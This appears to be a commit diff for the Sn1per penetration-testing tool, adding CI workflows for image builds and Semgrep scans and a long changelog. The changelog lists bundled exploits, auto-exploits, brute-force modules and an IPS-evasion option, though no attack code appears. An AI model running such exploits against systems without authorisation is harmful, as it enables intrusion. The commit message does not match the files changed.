docs(README): link latest recon-methodology cluster + regroup guides (SEO/referral)

# Conflicts:
#	README.md

.github/workflows/build-push-ghcr.yml

@@ -0,0 +1,58 @@
+name: Build and Push
+
+on:
+  push:
+    branches:
+      - main
+      - development
+      - feat*
+    tags:
+      - "v*"
+  pull_request:
+    branches:
+      - master
+
+env:
+  REGISTRY: ghcr.io
+  IMAGE_NAME: ${{ github.repository }}
+
+jobs:
+  docker-build:
+    permissions:
+      contents: read
+      packages: write
+    runs-on: ubuntu-latest
+    steps:
+
+      - name: Setting environment variables
+        run: |
+          echo "repo_name=${{ env.IMAGE_NAME }}" >> $GITHUB_ENV
+
+      - uses: actions/checkout@v3
+
+      - name: Docker meta
+        id: meta
+        uses: docker/metadata-action@v4
+        with:
+          images: ${{ env.REGISTRY}}/${{ env.repo_name }}
+          flavor: latest=true
+          tags: |
+            type=ref,event=branch
+            type=ref,event=pr
+            type=semver,pattern={{version}}
+
+      - name: Login to image repository
+        uses: docker/login-action@v2
+        with:
+          registry: ${{ env.REGISTRY }}
+          username: ${{ github.actor }}
+          password: ${{ secrets.GITHUB_TOKEN }}
+
+      - name: Build and push
+        uses: docker/build-push-action@v3
+        with:
+          context: .
+          file: Dockerfile
+          push: ${{ github.ref_type == 'tag' || github.ref_name == 'main' || startsWith(github.ref_name, 'feat-')}}
+          tags: ${{ steps.meta.outputs.tags }}
+          labels: ${{ steps.meta.outputs.labels }}

.github/workflows/semgrep.yml

@@ -0,0 +1,24 @@
+on:
+  workflow_dispatch: {}
+  pull_request: {}
+  push:
+    branches:
+    - main
+    - master
+    paths:
+    - .github/workflows/semgrep.yml
+  schedule:
+  # random HH:MM to avoid a load spike on GitHub Actions at 00:00
+  - cron: 2 23 * * *
+name: Semgrep
+jobs:
+  semgrep:
+    name: semgrep/ci
+    runs-on: ubuntu-20.04
+    env:
+      SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
+    container:
+      image: returntocorp/semgrep
+    steps:
+    - uses: actions/checkout@v3
+    - run: semgrep ci

CHANGELOG.md

@@ -1,4 +1,445 @@
 ## CHANGELOG:
+* v9.2 - Added Tomba.io API integration via OSINT mode (Credit: @benemohamed)
+* v9.2 - Fixed issue with gau tool not installing and updated GAU setting in confs
+* v9.2 - Updated python2 to python3
+* v9.2 - Removed Slurp tool
+* v9.2 - Added BlackArch Dockerfile (Credit: @AnonymousWP)
+* v9.2 - Updated DockerFile to latest Kali release (Credit: @AnonymousWP)
+* v9.1 - Fixed issue with dirsearch installation/command syntax update
+* v9.1 - Updated Nuclei sc0pe templates
+* v9.1 - Fixed issue with Nuclei sc0pe parsers not working
+* v9.1 - Fixed issue with GAU installer/commmand not working
+* v9.1 - Fixed issue with passive URL fetching 
+* v9.1 - Fixed issue with nuclei not being installed
+* v9.1 - Removed error in hackertarget URL fetching
+* v9.1 - Added dnsutils to installer to fix missing deps
+* v9.1 - Fixed issue with gau in webscan modes not running
+* v9.1 - Updated subfinder to latest version
+* v9.1 - Added new email spoofing security checks to OSINT mode (-o)
+* v9.1 - Removed spoofcheck.py
+* v9.1 - Updated timeout settings for curl which was causing sockets/scans to hang
+* v9.1 - Fixed issue with Nuclei symlink missing in installer
+* v9.1 - Fixed issue with Nuclei sc0pe parser not parsing results correctly
+* v9.1 - Fixed issue with Dirsearch not running due to invalid command settings
+* v9.1 - Fixed issue with Nuclei templates not being installed
+* v9.1 - Fixed issue with enum4linux command not being installed
+* v9.1 - Fixed HackerTarget API integration
+* v9.1 - Fixed issue with ping command not being installed
+* v9.1 - Fixed issue with carriage returns in conf
+* v9.1 - Fixed issue with DNS resolution in 'discover' mode scans causing duplicate hosts
+* v9.1 - Fixed issue with bruteforce running automatically due to changes in conf file
+* v9.1 - Added verbose scan notifications for disabled conf options
+* v9.1 - Updated default aux mode options in default sniper.conf
+* v9.0 - Added Fortinet FortiGate SSL VPN Panel Detected sc0pe template
+* v9.0 - Added CVE-2020-17519 - Apache Flink Path Traversal sc0pe template
+* v9.0 - Added RabbitMQ Management Interface Detected sc0pe template
+* v9.0 - Added CVE-2020-29583 Zyxel SSH Hardcoded Credentials via BruteX
+* v9.0 - Removed vulnscan NMap CSV updates/downloads to save space/bandwidth
+* v9.0 - Added Nuclei sc0pe parser
+* v9.0 - Added Nuclei vulnerability scanner
+* v9.0 - Added Wordpress WPScan sc0pe vulnerability parser
+* v9.0 - Fixed issue with wrong WPscan API key command
+* v9.0 - Added CVE-2020-11738 - WordPress Duplicator plugin Directory Traversal sc0pe template
+* v9.0 - Renamed AUTO_VULNSCAN setting to "VULNSCAN" in sniper.conf to perform vulnerability scans via 'normal' mode
+* v8.9 - Tuned sniper.conf around performance for all scans and recon modes
+* v8.9 - Added out of scope options to config
+* v8.9 - Added automatic HTTP/HTTPS web scans and vulnerability scans to 'normal' mode
+* v8.9 - Added SolarWinds Orion Panel Default Credentials sc0pe template
+* v8.9 - Added SolarWinds Orion Panel sc0pe template
+* v8.9 - Fixed issue with UDP port scans not working
+* v8.9 - Fixed issue with theHarvester not running on Kali 2020.4
+* v8.9 - Added WPScan API support
+* v8.9 - Added CVE-2020-8209 - XenMobile-Citrix Endpoint Management Config Password Disclosure sc0pe template
+* v8.9 - Added CVE-2020-8209 - XenMobile-Citrix Endpoint Management Path Traversal sc0pe template
+* v8.9 - Removed verbose error for chromium on Ubuntu
+* v8.9 - Added CVE-2020-8209 - Citrix XenMobile Server Path Traversal sc0pe template
+* v8.9 - Fixed F+ in CSP Not Enforced sc0pe template
+* v8.9 - Added CVE-2020-14815 - Oracle Business Intelligence Enterprise DOM XSS sc0pe template
+* v8.9 - Fixed issue with dnscan not working in Kali 2020.3
+* v8.9 - Fixed issue with screenshots not working in Ubuntu 2020
+* v8.9 - Added Frontpage Service Password Disclosure sc0pe template
+* v8.9 - Removed Yasuo tool
+* v8.8 - Fixed issue with webscreenshot on Kali 2020.3+
+* v8.8 - Fixed error in install.sh for theharvester sym link
+* v8.8 - Fixed issue with flyover mode not capturing web screenshots
+* v8.8 - Added automatic 'flyover' scans of all discovered domains for 'recon' mode
+* v8.8 - Added static grep searching rules of all URL's and sub-domains (see sniper.conf for details)
+* v8.8 - Added verbose status logging to flyover mode showing HTTP status/redirect/title, etc.
+* v8.8 - Added integration for Port Scanner Add-on for Sn1per Professional
+* v8.8 - Added enhanced scanning of all unique dynamic URL's via InjectX fuzzer
+* v8.8 - Added CVE-2020-25213 - WP File Manager File Upload sc0pe template
+* v8.8 - Added cPanel Login Found sc0pe template
+* v8.8 - Added Wordpress WP-File-Manager Version Detected sc0pe template
+* v8.8 - Added VMware vCenter Unauthenticated Arbitrary File Read sc0pe template
+* v8.8 - Added PHP Composer Disclosure sc0pe template
+* v8.8 - Added Git Config Disclosure sc0pe template
+* v8.8 - Added updated NMap vulscan DB files
+* v8.8 - Added CVE-2020-9047 - exacqVision Web Service Remote Code Execution sc0pe template
+* v8.8 - Removed UDP port scan settings/options and combined with full portscan ports
+* v8.8 - Added CVE-2019-8442 - Jira Webroot Directory Traversal sc0pe template
+* v8.8 - Added CVE-2020-2034 - PAN-OS GlobalProtect OS Command Injection sc0pe template
+* v8.8 - Added CVE-2020-2551 - Unauthenticated Oracle WebLogic Server Remote Code Execution sc0pe template
+* v8.8 - Added CVE-2020-14181 - User Enumeration Via Insecure Jira Endpoint sc0pe template
+* v8.8 - Added Smuggler HTTP request smuggling detection
+* v8.8 - Added CVE-2020-0618 - Remote Code Execution SQL Server Reporting Services sc0pe template
+* v8.8 - Added CVE-2020-5412 - Full-read SSRF in Spring Cloud Netflix sc0pe template
+* v8.8 - Added Jaspersoft Detected sc0pe template
+* v8.8 - Added improved dirsearch exclude options to all web file/dir searches
+* v8.8 - Fixed naming conflict for theharvester
+* v8.8 - Created backups of all NMap HTML reports for fullportonly scans
+* v8.8 - Added line limit to GUA URL's displayed in console
+* v8.7 - Added AvantFAX LOGIN Detected sc0pe template
+* v8.7 - Updated web file bruteforce lists
+* v8.7 - Added updated Slack API integration/notifications
+* v8.7 - Added Arachni, Nikto, Nessus, NMap + 20 passive sc0pe vulnerability parsers
+* v8.7 - Added CVE-2020-15129 - Open Redirect In Traefik sc0pe template
+* v8.7 - Added MobileIron Login sc0pe template
+* v8.7 - Added Revive Adserver XSS sc0pe template
+* v8.7 - Added IceWarp Webmail XSS sc0pe template
+* v8.7 - Added Mara CMS v7.5 XSS sc0pe template
+* v8.7 - Added Administrative Privilege Escalation in SAP NetWeaver sc0pe template
+* v8.7 - Added Magento 2.3.0 SQL Injection sc0pe template
+* v8.7 - Added CVE-2020-15920 - Unauthenticated RCE at Mida eFramework sc0pe template
+* v8.7 - Added CVE-2019-7192 - QNAP Pre-Auth Root RCE sc0pe template
+* v8.7 - Added CVE-2020-10204 - Sonatype Nexus Repository RCE sc0pe template
+* v8.7 - Added CVE-2020-13167 - Netsweeper WebAdmin unixlogin.php Python Code Injection sc0pe template
+* v8.7 - Added CVE-2020-2140 - Jenkin AuditTrailPlugin XSS sc0pe template
+* v8.7 - Added CVE-2020-7209 - LinuxKI Toolset 6.01 Remote Command Execution sc0pe template
+* v8.7 - Added CVE-2019-16662 - rConfig 3.9.2 Remote Code Execution sc0pe template
+* v8.7 - Added Sitemap.xml Detected sc0pe template
+* v8.7 - Added Robots.txt Detected sc0pe template
+* v8.7 - Added AWS S3 Public Bucket Listing sc0pe template
+* v8.7 - Fixed logic error in stealth mode recon scans not running
+* v8.7 - Added CVE-2020-7048 - WP Database Reset 3.15 Unauthenticated Database Reset sc0pe template
+* v8.7 - Fixed F- detection in Wordpress Sc0pe templates
+* v8.7 - Added CVE-2020-11530 - Wordpress Chop Slider 3 Plugin SQL Injection sc0pe template
+* v8.7 - Added CVE-2019-11580 - Atlassian Crowd Data Center Unauthenticated RCE sc0pe template
+* v8.7 - Added CVE-2019-16759 - vBulletin 5.x 0-Day Pre-Auth Remote Command Execution Bypass sc0pe template
+* v8.6 - Added new Sn1per configuration flow that allows persistent user configurations and API key transfer
+* v8.6 - Updated port lists to remove duplicate ports error and slim down list
+* v8.6 - Updated PHP to 7.4
+* v8.6 - Added CVE-2020-12720 - vBulletin Unauthenticaed SQLi
+* v8.6 - Added CVE-2020-9757 - SEOmatic < 3.3.0 Server-Side Template Injection
+* v8.6 - Added CVE-2020-1147 - Remote Code Execution in Microsoft SharePoint Server
+* v8.6 - Added CVE-2020-3187 - Citrix Unauthenticated File Deletion
+* v8.6 - Added CVE-2020-8193 - Citrix Unauthenticated LFI
+* v8.6 - Added CVE-2020-8194 - Citrix ADC & NetScaler Gateway Reflected Code Injection
+* v8.6 - Added CVE-2020-8982 - Citrix ShareFile StorageZones Unauthenticated Arbitrary File Read
+* v8.6 - Added CVE-2020-9484 - Apache Tomcat RCE by deserialization
+* v8.6 - Added Cisco VPN scanner template
+* v8.6 - Added Tiki Wiki CMS scanner template
+* v8.6 - Added Palo Alto PAN OS Portal scanner template
+* v8.6 - Added SAP NetWeaver AS JAVA LM Configuration Wizard Detection
+* v8.6 - Added delete task workspace function to remove running tasks
+* v8.6 - Added CVE-2020-3452 - Cisco ASA/FTD Arbitrary File Reading Vulnerability Sc0pe template
+* v8.6 - Updated theharvester command to exclude github-code search
+* v8.6 - Updated theharvester installer to v3.1
+* v8.6 - Added urlscan.io API to OSINT mode (-o)
+* v8.6 - Added OpenVAS package to install.sh 
+* v8.6 - Added Palo Alto GlobalProtect PAN-OS Portal Sc0pe template
+* v8.6 - Fixed issue with Javascript downloader downloading localhost files instead of target
+* v8.6 - Added CVE-2020-5902 F5 BIG-IP RCE sc0pe template
+* v8.6 - Added CVE-2020-5902 F5 BIG-IP XSS sc0pe template
+* v8.6 - Added F5 BIG-IP detection sc0pe template
+* v8.6 - Added interesting ports sc0pe template
+* v8.6 - Added components with known vulnerabilities sc0pe template
+* v8.6 - Added server header disclosure sc0pe template
+* v8.6 - Added SMBv1 enabled sc0pe template
+* v8.6 - Removed verbose comment from stealth scan
+* v8.5 - Added manual installer for Metasploit
+* v8.5 - Added Phantomjs manual installer
+* v8.5 - Added sc0pe template to check for default credentials via BruteX
+* v8.5 - Added fullportscans to all 'web' mode scans to ensure full port coverage
+* v8.5 - Fixed issue with 2nd stage OSINT scans not running
+* v8.5 - Added port values to sc0pe engine to define port numbers
+* v8.5 - Fixed issue with LinkFinder not working
+* v8.5 - Fixed issue with Javascript link parser
+* v8.5 - Added phantomjs dependency to fix webscreenshots on Ubuntu
+* v8.5 - Added http-default-accounts NMap NSE to check for default web credentials
+* v8.5 - Fixed several issues with install.sh to resolve deps on Ubuntu and Kali 2020.2
+* v8.5 - Removed larger wordlists to reduce install size of Sn1per
+* v8.5 - Added 20+ new active/passive sc0pe templates
+* v8.5 - Fixed issue with installer on latest Kali and Docker builds
+* v8.5 - Fixed custom installer for Arachni
+* v8.5 - Fixed Dockerfile with updated Kali image (CC. @stevemcilwain)
+* v8.4 - Added project "Sc0pe" active/passive vulnerability scanner
+* v8.4 - Added 68 new active sc0pe templates
+* v8.4 - Added 14 new passive sc0pe templates
+* v8.4 - Added OWASP ZAP API integration
+* v8.4 - Added 8 new Sn1per configuration templates (see /usr/share/sniper/conf/)
+* v8.4 - Added Gau (https://github.com/lc/gau)
+* v8.4 - Added rapiddns subdomain retrieval
+* v8.4 - Updated web content wordlists
+* v8.4 - Improved efficiency of 'web' and 'recon' mode scans
+* v8.4 - Disabled legacy Metasploit web exploits (check Sn1per conf to re-enable)
+* v8.4 - Fixed issue with dirsearch asterisk being used incorrectly
+* v8.4 - Fixed issue with airstrike mode not updated Sn1per Professional v8.0 host list
+* v8.4 - Fixed issue with webtech re.error: invalid group reference 1 at position 130
+* v8.3 - Added Github subdomain retrieval (requires API key/conf options enabled)
+* v8.3 - Added NMAP_OPTIONS setting to sniper.conf to configure optional NMap scan settings
+* v8.3 - Added option to specify custom Sn1per configuration via (-c) switch
+* v8.3 - Created several custom config files to select from, including: bug_bounty_quick, bug_bounty_max_javascript, super_stealth_mode, webpwn_only + more
+* v8.3 - Added workspace --export option to backup/export a workspace
+* v8.3 - Added flyover mode tuning options to sniper.conf
+* v8.3 - Added GitGraber automated Github leak search (https://github.com/hisxo/gitGraber)
+* v8.3 - Added static Javascript parsing for sub-domains, URL's, path relative links and comments
+* v8.3 - Added js-beautifier
+* v8.3 - Added LinkFinder Javascript link finder (https://github.com/GerbenJavado/LinkFinder)
+* v8.3 - Added fprobe HTTP probe checker (https://github.com/theblackturtle/fprobe)
+* v8.3 - Added Cisco RV320 and RV325 Unauthenticated Remote Code Execution CVE-2019-1653 MSF exploit
+* v8.3 - Improved performance of 'stealth' and 'recon' modes
+* v8.3 - Updated default port lists
+* v8.3 - Improved performance of all port scans
+* v8.3 - Added fix for missing Amass package
+* v8.3 - Added sniper.conf options for OPENVAS_HOST and OPENVAS_PORT selection for remote instances
+* v8.3 - Improved 'vulnscan' mode via OpenVAS to scan the same asset multiple times with improved error handling
+* v8.2 - Added root priv check to sniper script to run
+* v8.2 - Added NMap port change notifications via Slack
+* v8.2 - Fixed issue with firefox not loading on Kali Linux 2020.1 
+* v8.2 - Fixed issue with Masswebscan mode not working
+* v8.2 - Added Rails file exposure exploit CVE-2019-5418
+* v8.2 - Updated wordlist selections to fingerprint common vulnerable applications
+* v8.2 - Added h8mail compromised credentials check to OSINT (-o) mode
+* v8.2 - Added Kali start menu app & icon for Sn1per
+* v8.2 - Added check for insecure SSL/TLS connections
+* v8.2 - Added NMAP_OPTIONS setting in ~/.sniper.conf to configure optional NMap settings
+* v8.2 - Fixed issue with ManageEngine MSF exploit payload
+* v8.2 - Added Spyse sub-domain enumeration tool (https://github.com/zeropwn/spyse.py)
+* v8.2 - Fixed issue with Subjack (open /src/github.com/haccer/subjack/fingerprints.json: no such file or directory)
+* v8.1 - Added Citrix Gateway Arbitary Code Execution CVE-2019-19781 vulnerability detection
+* v8.1 - Added Pulse Secure VPN Arbitrary File Disclosure CVE-2019-11510 exploit
+* v8.1 - Added --data-length=50 for NMap IPS evasion
+* v8.1 - Removed NMap vulscan script due to F+ results
+* v8.1 - Fixed issue with CRT.SH sub-domain retrieval
+* v8.1 - Updated Kali Linux keyring package
+* v8.1 - Fixed "[: ==: unary operator expected" in all code
+* v8.1 - Updated Sn1per Professional autoload settings
+* v8.1 - Updated web brute force wordlists
+* v8.1 - Removed null and debug errors from passive spider API output
+* v8.1 - Updated Commoncrawl index repo
+* v8.1 - Updated DockerFile repository
+* v8.1 - Fixed issue with -dh flag to delete host with Sn1per Pro v8.0
+* v8.1 - Fixed issue with subfinder missing
+* v8.1 - Fixed issue with 7zip missing
+* v8.1 - Added check for Ubuntu to install.sh automatically
+* v8.0 - Added ASnip tool to retrieve ASN's via 'recon' mode
+* v8.0 - Added Shodan sub-domain lookup
+* v8.0 - Added script timeout flag for NMap scripts
+* v8.0 - Fixed issue with dnsenum getting stuck on gathering dns info stage
+* v8.0 - Added option to force upgrade/install.sh without user prompt (ie. ./install.sh force)
+* v8.0 - Fixed issue with theHarvester package on Ubuntu systems
+* v8.0 - Fixed error "[: ==: unary operator expected" in all modes
+* v8.0 - Added net-tools package for Ubuntu OS deps
+* v7.4 - Added LDAP anomyous search to port 389/tcp checks (Shoutout @D0rkerDevil)
+* v7.4 - Added Java RMI dump registry scan checks and exploits to port 8001/tcp (Shoutout @D0rkerDevil)
+* v7.4 - Added CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure MSF module
+* v7.4 - Added virtualhost scanning via web mode
+* v7.4 - Added Gobuster
+* v7.4 - Addd URLCrazy DNS alterations check to OSINT mode
+* v7.4 - Added Ultratools Whois Lookups to OSINT mode
+* v7.4 - Added Email-Format.com Email Retreival to OSINT mode
+* v7.4 - Added Metasploit OSINT email retrieval to OSINT mode
+* v7.4 - Added Hackertarget URL API retrieval to web modes
+* v7.4 - Fixed error in massvulnscan mode
+* v7.4 - Fixed issue with webscreenshot.py not running
+* v7.4 - Added reverse whois DNS search via AMass
+* v7.4 - Added MassDNS IP's to master sorted IP list 
+* v7.4 - Fixed issue with MassDNS installation
+* v7.4 - Fixed bad path with DNSGen 
+* v7.4 - Fixed issue with AMass not running
+* v7.4 - Improved performance of AltDNS/DNSgen/MassDNS retrieval
+* v7.4 - Changed webscreenshot.py setting to use chrome browser and increased timeout
+* v7.4 - Fixed issue with missing xmlstarlet package for OpenVAS scans
+* v7.4 - Improved active web spider URL consolidation
+* v7.3 - Added CVE-2019-15107 Webmin <= 1.920 - Unauthenticated RCE MSF exploit
+* v7.3 - Added massdns plugin
+* v7.3 - Added altdns plugin
+* v7.3 - Added dnsgen plugin
+* v7.3 - Updated web file/dir wordlists from public exploits and honeypots
+* v7.3 - Added time stamps to all commands
+* v7.3 - Removed CloudFront from domain hijacking checks
+* v7.3 - Removed snmp-brute.nse script due to scan issues
+* v7.3 - Fixed issue with discover scan workspace names
+* v7.3 - Fixed issue with DockerFile (sed: can't read /usr/bin/msfdb: No such file or directory)
+* v7.3 - Fixed issue with installer on docker not having pip installed
+* v7.3 - Fixed issue with port 161 not being referenced correctly in scans
+* v7.2 - Added experimental OpenVAS API integration
+* v7.2 - Improved Burpsuite 2.x API integration with vuln reporting
+* v7.2 - Added hunter.io API integration to recon mode scans
+* v7.2 - Added Cisco IKE Key Disclosure MSF exploit
+* v7.2 - Added JBoss MSF vuln scanner module
+* v7.2 - Added Apache CouchDB RCE MSF exploit
+* v7.2 - Added IBM Tivoli Endpoint Manager POST Query Buffer Overflow exploit
+* v7.2 - Added Java RMI MSF scanner
+* v7.2 - New scan mode "vulnscan"
+* v7.2 - New scan mode "massportscan"
+* v7.2 - New scan mode "massweb"
+* v7.2 - New scan mode "masswebscan"
+* v7.2 - New scan mode "massvulnscan"
+* v7.2 - Added additional Slack API notification settings
+* v7.2 - Improved NMap port detection and scan modes
+* v7.2 - Fixed issue with Censys API being enabled by default
+* v7.2 - Fixed verbose errors in subjack/subover tools
+* v7.2 - Fixed issue with NMap http scripts not working
+* v7.1 - Added BlueKeep CVE-2019-0708 MSF scanner
+* v7.1 - Added automatic workspace generation for single target scans
+* v7.1 - Added new slack.sh API integration script
+* v7.1 - Added differential Slack notifications for new domains, new URL's and various scan outputs
+* v7.1 - Added vulners and vulscan NMap scripts
+* v7.1 - Added installer and support for Debian, Parrot and Ubuntu OS (install_debian.sh) (CC. @imhaxormad)
+* v7.1 - Fixed various issues with the DockerFile
+* v7.1 - Fixed/added Metasploit LHOST/LPORT values to all exploits based on sniper.conf settings
+* v7.1 - Fixed issue with Amass/Golang 1.11 not installing correctly
+* v7.0 - Added "webscan" mode for automated Burpsuite 2.x and Arachni web application scans only
+* v7.0 - Added Slack API notifications (Disabled by default..check ~/.sniper.conf)
+* v7.0 - Added new command switch to add daily, weekly or monthly sniper scheduled scans... check README
+* v7.0 - Added scheduled scan tasks command switch (Needs additional configuration to setup... check README)
+* v7.0 - Added Axis2 authenticated deployer MSF exploit
+* v7.0 - Added Axis2 login brute force module
+* v7.0 - Added subjack tool to check for subdomain hijacking
+* v7.0 - Added sorted IP lists under $LOOT_DIR/ips/ips-all-sorted.txt
+* v7.0 - Added subnet retrieval for all 'recon' mode scans under $LOOT_DIR/nmap/subnets-$TARGET.txt
+* v7.0 - Added Webscreenshot.py and disabled cutycapt from default config
+* v7.0 - Added Gobuster (Disabled by default..check ~/.sniper.conf)
+* v7.0 - Fixed issue with SubOver not working due to bad path
+* v7.0 - Fixed issue with flyover mode running 2x 
+* v6.3 - Added Drupal RESET Unserialize RCE CVE-2019-6340
+* v6.2 - Added Glassfish Admin traversal MSF exploit 
+* v6.2 - Added ElasticSearch Java Injection MSF RCE exploit
+* v6.2 - Added WebTech web fingerprinting tool
+* v6.2 - Added censys subdomain retrieval and API key config
+* v6.2 - Added project sonar sub-domain retrieval
+* v6.2 - Added command switch to remove workspace (-d)
+* v6.2 - Added command switch to remove host (-dh)
+* v6.2 - Added DockerFile to run Sn1per in Docker (CC. Hariom Vashisth <hariom.devops@gmail.com>)
+* v6.2 - Changed option to automatically import all NMap XML's into Metasploit's DB
+* v6.2 - Changed option to automatically load Sn1per Professional's report when scans complete
+* v6.2 - Added config option to enable/disable subdomain hijacking checks in sniper.conf
+* v6.2 - Fixed issue with sniper --list command having invalid reference
+* v6.2 - Fixed issue with theharvester not running
+* v6.1 - Added automated web scanning via Burpsuite Pro 2.x API for all 'web' mode scans
+* v6.1 - Added Waybackmachine URL retrieval to all web scans
+* v6.1 - Converted all exploits to Metasploit
+* v6.1 - Added configuration options to set LHOST/LPORT for all Metasploit exploits in sniper.conf
+* v6.1 - Added improved web brute forcing dictionaries for all scan modes
+* v6.1 - Added individual logging for all tools under the loot directory
+* v6.1 - Added new sniper.conf options to enabled/disable all plugins and change settings per user
+* v6.1 - Fixed issue with CMSMap install/usage
+* v6.1 - Fixed issue with WPScan gem dependency missing (public_suffix)
+* v6.1 - Fixed timeout setting in cutycapt
+* v6.1 - Fixed issue with theharvester not running correctly
+* v6.1 - Fixed issue with Amass not running due to invalid command line options in latest release
+* v6.1 - Fixed issue with Sn1per Professional notepad.html missing
+* v6.1 - Cleaned up plugins and install dependencies list
+* v6.0 - Improved scan options for discover mode scans
+* v6.0 - Fixed issue with pip3 dependency package missing
+* v6.0 - Removed iceweasel from install.sh to fix apt error
+* v5.9 - Fixed issue with auto updates not notifying users of updates
+* v5.8 - Fixed issue with subfinder not working due to lack of wordlist switch
+* v5.8 - Fixed missing osint directory/file paths
+* v5.7 - Added libSSH auth bypass scanner CVE-2018-10933
+* v5.7 - Added HTTP PUT method RCE MSF exploit
+* v5.7 - Added sniper.conf scan configuration file to customize sniper environments by user
+* v5.7 - Added modular scan mode source files
+* v5.7 - Updated wordlists for improved performance and results
+* v5.7 - Fixed issue with DNScan using an invalid path
+* v5.6 - Changed automatic report generation to "ON" for Sn1per Pro users
+* v5.5 - Added new multi-threaded high speed "flyover" mode added
+* v5.5 - Added new scan status mode via (sniper --status) command
+* v5.5 - Apache Struts CVE-2018-11776 RCE exploit
+* v5.5 - Added Android Insecure ADB RCE auto exploit
+* v5.5 - Added Apache Tomcat CVE-2017-12617 RCE exploit
+* v5.5 - Added Oracle WebLogic WLS-WSAT Component Deserialisation RCE CVE-2017-10271 MSF exploit
+* v5.5 - Added BlackWidow web application scanner with INJECTX fuzzer
+* v5.5 - Added CVE-2018-15473 SSH user enumeration script
+* v5.5 - Minor wordlist updates for web file brute forcing
+* v5.4 - Updated Golang in install.sh
+* v5.3 - Updated AMass repo in install.sh
+* v5.3 - Removed CloudFail
+* v5.3 - Fixed issue with subfinder missing brute force list
+* v5.3 - Fixed issue with invalid dnsscan reference
+* v5.2 - Added SubOver subdomain takeover scanner
+* v5.2 - Added Subfinder subdomain enumeration tool
+* v5.2 - Added Amass subdomain enumeration tool
+* v5.2 - Added configurable modules/plugins to sniper script
+* v5.2 - Added MS17-010 SMB Etternal Blue MSF exploit
+* v5.2 - Added MSF Postgresql login scanner
+* v5.2 - Added passive web spider
+* v5.2 - Added WebDav metasploit aux modules
+* v5.2 - Added NetBIOS NMap/MSF enumeration
+* v5.2 - Added SMB MSF enumeration
+* v5.2 - Added NSF MSF enumeration
+* v5.2 - Added SSH MSF enumeration
+* v5.2 - Added BadBlue Passthru MSF exploit
+* v5.2 - Added SMB GPP MSF aux module
+* v5.2 - Added Intel AMT MSF scanner
+* v5.2 - Added MySQL MSF scanner
+* v5.2 - Added MS03-026 DCOM RCE MSF exploit
+* v5.2 - Added VNC no auth MSF scanner
+* v5.2 - Added FTP MSF version scanner
+* v5.2 - Added FTP anonymous access MSF scanner
+* v5.2 - Added MS12-020 RDP MSF scanner
+* v5.2 - Added MS10-061 Spoolss MSF exploit
+* v5.2 - Added MS15-034 Sys Memory Dump MSF exploit
+* v5.2 - Added MS06-040 Netapi MSF exploit
+* v5.2 - Added MS05-039 PNP MSF exploit
+* v5.2 - Added MS12-020 Max Channels RDP scanner
+* v5.2 - Added JBoss status MSF scanner
+* v5.2 - Added Apache Struts 2 REST Plugin XStream RCE check
+* v5.2 - Added Apache Tomcat UTF8 Traversal MSF exploit
+* v5.2 - Added Apache OPTIONS Bleed MSF exploit
+* v5.2 - Added HP ILO Auth Bypass MSF exploit
+* v5.2 - Added Jooma Comfields SQL injection MSF exploit
+* v5.1 - Added dnscan to install.sh and updated sniper references which were broken
+* v5.1 - Changed default brute force list for dnscan to improve performance of scans
+* v5.1 - Removed CloudHunter and SubOver references (CC. 爱上平顶山)
+* v5.0 - Added Sn1per Pro reporting interface (see https://sn1persecurity.com for more details)
+* v5.0 - Added GPON Router RCE auto exploit 
+* v5.0 - Added Cloudapp.net Azure subdomain takeover check
+* v5.0 - Added Cisco ASA Directory Traversal auto exploit (CVE-2018-0296)
+* v5.0 - Added Wig Web Information Gatherer
+* v5.0 - Added Dirsearch with custom dirsearch wordlists (quick, normal, full)
+* v5.0 - Fixed bug in installer/upgrade which copied the local dir contents to the install dir
+* v5.0 - Improved scan performance while taking web screenshots 
+* v5.0 - Fixed repo issue with Slurp (Shoutz to @ifly53e)
+* v5.0 - Fixed issues with wrong ports listed in port scans (Shoutz to @ifly53e)
+* v5.0 - Minor code fixes and typos corrected (Shoutz to @ifly53e)
+* v5.0 - Updated "discover" mode scans for improved performance
+* v4.5 - Added Apache Struts 2 CVE-2017-9805 and CVE-2017-5638 detection
+* v4.5 - Added dirsearch web/file brute forcing
+* v4.5 - Added smart file/directory brute forcing to all scan modes.
+* v4.5 - Added subdomain brute force scan option to Sublist3r scan.
+* v4.4 - Fixed issue with sniper nuke and airstrike modes not running.
+* v4.4 - Added improved SNMP checks via NMap/Metasploit.
+* v4.4 - Resolved dependency issue for nfs-common package.
+* v4.4 - Fixed bug in sniper -fp command switch.
+* v4.3 - Fixed bug in version info.
+* v4.2 - Fixed bad merge in 4.1 causing sniper to break.
+* v4.1 - Fixed a few bugs with various command line switches for airstrike and nuke modes.
+* v4.1 - Fixed issue with path relative file inclusion via the -f flag. You can now include just the local filename (sniper -f targets.txt).
+* v4.0 - Added new command switch options for all sniper scans (see --help for details)
+* v4.0 - Added HTML formatted report for all workspaces to display screenshots, headers, reports and open ports
+* v4.0 - Added optional scan options such as --recon, --osint, --fullportonly --bruteforce, etc. to selectively enable scan modules. (see --help for details) 
+* v4.0 - Improved Yasou scan options to include existing NMap XML files
+* v4.0 - Added automatic HTML/TXT/PDF reporting for all scans by default
+* v4.0 - Updated default workspace directory to store all loot files by $TARGET name or $WORKSPACE alias
+* v4.0 - Added screenshot and header retrieval to loot storage
+* v4.0 - Updated NMAP SMB enum script
+* v3.0 - Improved performance of various sniper modes
+* v3.0 - Added Aquatone domain flyover tool
+* v3.0 - Added slurp S3 public AWS scanner
+* v3.0 - Updated Sub-domain hijacking site list
+* v3.0 - Changed look and feel of console output to help readability
+* v3.0 - Added online/offline check to implement changes to scans when in online vs. offline mode
+* v2.9 - New improved fullportonly scan mode
+* v2.9 - Added online check to see if there's an active internet connection
+* v2.9 - Changed default browser to firefox to clear up errors in loot commmand
+* v2.9 - Created uninstall.sh script to uninstall sniper
+* v2.9 - Removed automatic workspace creation per scan
+* v2.9 - Added curl timeout in update command to fix lag
+* v2.9 - Fixed minor NMap UDP scan flag issue
+* v2.9 - Added Metagoofil
+* v2.9 - Updated theharvester scan options to include more results
 * v2.8 - Improved discovery mode scan performance and output
 * v2.8 - Improved fullportonly scan performance
 * v2.8 - Improved startup performance options
@@ -178,7 +619,3 @@
 * v1.4 - Added Breach-Miner for detection of breached accounts
 * v1.4 - Fixed minor errors with nmap
 * v1.4 - Removed debug output from goohak from displaying on console
-
-## FUTURE:
-* Add auto logging and reporting to all scans
-* Add HTML reporting for scans

Dockerfile

@@ -0,0 +1,34 @@
